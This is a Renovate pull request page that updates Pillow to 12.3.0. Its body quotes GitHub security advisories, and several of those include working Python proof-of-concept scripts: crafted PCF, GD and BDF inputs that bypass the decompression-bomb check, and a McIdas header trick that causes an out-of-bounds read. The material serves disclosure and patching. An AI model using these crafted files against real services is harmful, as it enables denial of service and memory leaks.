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chore(deps): update dependency pillow to v12 [security] - #8

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chore(deps): update dependency pillow to v12 [security]#8
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
Pillow (changelog) ==8.3.2 → ==12.3.0 age confidence

Out-of-bounds Read in Pillow

CVE-2022-22816 / GHSA-xrcv-f9gm-v42c

More information

Details

path_getbbox in path.c in Pillow before 9.0.0 has a buffer over-read during initialization of ImagePath.Path.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Infinite loop in Pillow

GHSA-4fx9-vc88-q2xc

More information

Details

JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder.

If the EOF marker is not detected as such however, this could lead to an infinite loop where JpegImagePlugin keeps trying to end the file.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow vulnerable to Data Amplification attack.

CVE-2022-45198 / GHSA-m2vv-5vj5-2hm7

More information

Details

Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification).

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

libwebp: OOB write in BuildHuffmanTable

CVE-2023-4863 / GHSA-j7hp-h8jx-5ppr

More information

Details

Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow Denial of Service vulnerability

CVE-2023-44271 / GHSA-8ghj-p4vj-mr35

More information

Details

An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Arbitrary Code Execution in Pillow

CVE-2023-50447 / GHSA-3f63-hfp8-52jq

More information

Details

Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter).

Severity

  • CVSS Score: 9.3 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow buffer overflow vulnerability

CVE-2024-28219 / GHSA-44wm-f244-xhp3

More information

Details

In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy.

Severity

  • CVSS Score: 7.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow has an integer overflow when processing fonts

CVE-2026-42308 / GHSA-wjx4-4jcj-g98j

More information

Details

If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

CVE-2026-42310 / GHSA-r73j-pqj5-w3x7

More information

Details

Impact

An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.

Patches

Patched version: 12.2.0.

PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.

Workarounds

Use any version but the affected versions: >= 4.2.0, < 12.2.0

Resources

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

CVE-2026-54058 / GHSA-62p4-gmf7-7g93

More information

Details

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

##### src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

##### src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.
Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow PcfFontFile._load_bitmaps(): Image.frombytes() called without _decompression_bomb_check() — bomb protection bypass via PCF font loading

CVE-2026-54059 / GHSA-8v84-f9pq-wr9x

More information

Details

Description

PIL/PcfFontFile.py _load_bitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image._decompression_bomb_check(). Dimensions originate from unsigned 16-bit values:

xsize = right - left          (max: 65535 − 0 = 65535)
ysize = ascent + descent      (max: 65535 + 65535 = 131070)

Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.

Vulnerable code (PIL/PcfFontFile.py line 224–227):

for i in range(nbitmaps):
    xsize, ysize = metrics[i][:2]    # from PCF METRICS — attacker-controlled
    b, e = offsets[i : i + 2]
    bitmaps.append(
        Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize))
        # ↑ NO _decompression_bomb_check()!
    )

Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:

  • Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently
  • Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond
Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation"""
import io, struct, tracemalloc, warnings
warnings.filterwarnings("ignore")

from PIL.PcfFontFile import PcfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 14000, 14000   # 196M pixels → above DecompressionBombError threshold

##### Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

##### PCF binary constants
PCF_MAGIC    = 0x70636601
PCF_PROPS    = 1 << 0
PCF_METRICS  = 1 << 2
PCF_BITMAPS  = 1 << 3
PCF_ENCODINGS= 1 << 5

def build_bomb_pcf(xsize, ysize):
    # Properties: empty
    props = struct.pack("<III", 0, 0, 0)

    # Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent
    metrics = struct.pack("<II", 0, 1)
    metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)

    # Bitmaps: 1 glyph, empty data (transient attack)
    bitmaps = struct.pack("<II", 0, 1)
    bitmaps += struct.pack("<I", 0)              # offset[0] = 0
    bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmap_sizes all = 0

    # Encodings: char 0x41 ('A') → glyph 0
    enc_offsets = [0xFFFF]*65 + [0] + [0xFFFF]*62
    encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF)
    encodings += struct.pack("<" + "H"*128, *enc_offsets)

    secs = [(PCF_PROPS, props), (PCF_METRICS, metrics),
            (PCF_BITMAPS, bitmaps), (PCF_ENCODINGS, encodings)]
    hdr_size = 4 + 4 + len(secs) * 16
    out = struct.pack("<II", PCF_MAGIC, len(secs))
    offset = hdr_size
    for stype, sdata in secs:
        out += struct.pack("<IIII", stype, 0, len(sdata), offset)
        offset += len(sdata)
    for _, sdata in secs:
        out += sdata
    return out

pcf = build_bomb_pcf(W, H)
print(f"[*] PCF file size  : {len(pcf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

tracemalloc.start()
try:
    font = PcfFontFile(io.BytesIO(pcf))
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/1024**2:.2f} MB")
except Exception as e:
    _, peak = tracemalloc.get_traced_memory()
    tracemalloc.stop()
    print(f"[!] CONFIRMED (transient): {type(e).__name__} after allocation")
    print(f"    Heap peak: {peak/1024**2:.2f} MB")
    print(f"    C-heap allocation of ~{W*H//8//1024**2} MB occurred before exception")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] PCF file size  : 148 bytes
[*] Glyph size     : 14000 x 14000 = 196,000,000 pixels
[*] C-heap target  : 23 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED (transient): ValueError after allocation
    C-heap allocation of ~23 MB occurred before exception

Amplification table:

PCF file Glyph dims C-heap (mode '1') Bomb check
148 bytes 14000 × 14000 23 MB (transient) Bypassed
148 bytes 65535 × 131070 1.07 GB (transient) Bypassed
~512 MB 65535 × 131070 1.07 GB (persistent) Bypassed
Impact
  • Availability: HIGH — up to 1.07 GB per glyph, no limit per font file
  • Confidentiality: None
  • Integrity: None
  • Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected
  • PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path
  • Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow: FontFile.compile(): Image.new() called without _decompression_bomb_check()

CVE-2026-54060 / GHSA-5x94-69rx-g8h2

More information

Details

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric Per-glyph (800 × 875) Combined bitmap (256 glyphs)
Pixel count 700,000 179,200,000
DecompressionBombWarning threshold (89.4M) 0.008× — no warning 2.0× — above warning
DecompressionBombError threshold (178.9M) 0.004× — no error 1.001× — above error

With PCF-maximum glyph height (65,535):

Metric Value
lines 256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height) 65,535
xsize 800
ysize = lines × h 256 × 65,535 = 16,776,960
Total pixels 800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold 75×
Memory (mode "1", 1 bit/pixel) ~1.6 GB
Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

##### Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

##### Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

##### Load a crafted BDF font with 256 glyphs each claiming height=65535

##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario Effect
Web font preview (BdfFontFile(upload).to_imagefont()) DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont() OOM crash
Font pipeline: load → render text One malicious font file kills the process
Impact
  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont() → FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont() → FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow GdImageFile._open(): image dimensions accepted without _decompression_bomb_check()

CVE-2026-55380 / GHSA-phj9-mv4w-65pm

More information

Details

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535))

##### ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

##### PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

##### Build minimal 1037-byte GD 2.x palette-mode header:

#####   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

##### Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

##### Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

##### Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile

##### Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation
Impact
  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Pillow BdfFontFile: Image.new() called without _decompression_bomb_check() — bomb protection bypass via font loading

CVE-2026-55379 / GHSA-45hq-cxwh-f6vc

More information

Details

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

##### width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.

> ✂ **Note**
> 
> PR body was truncated to here.

@manifest-self-hosted-renovate
manifest-self-hosted-renovate Bot force-pushed the renovate/pypi-pillow-vulnerability branch from e2e27d4 to 217279c Compare July 22, 2026 07:16
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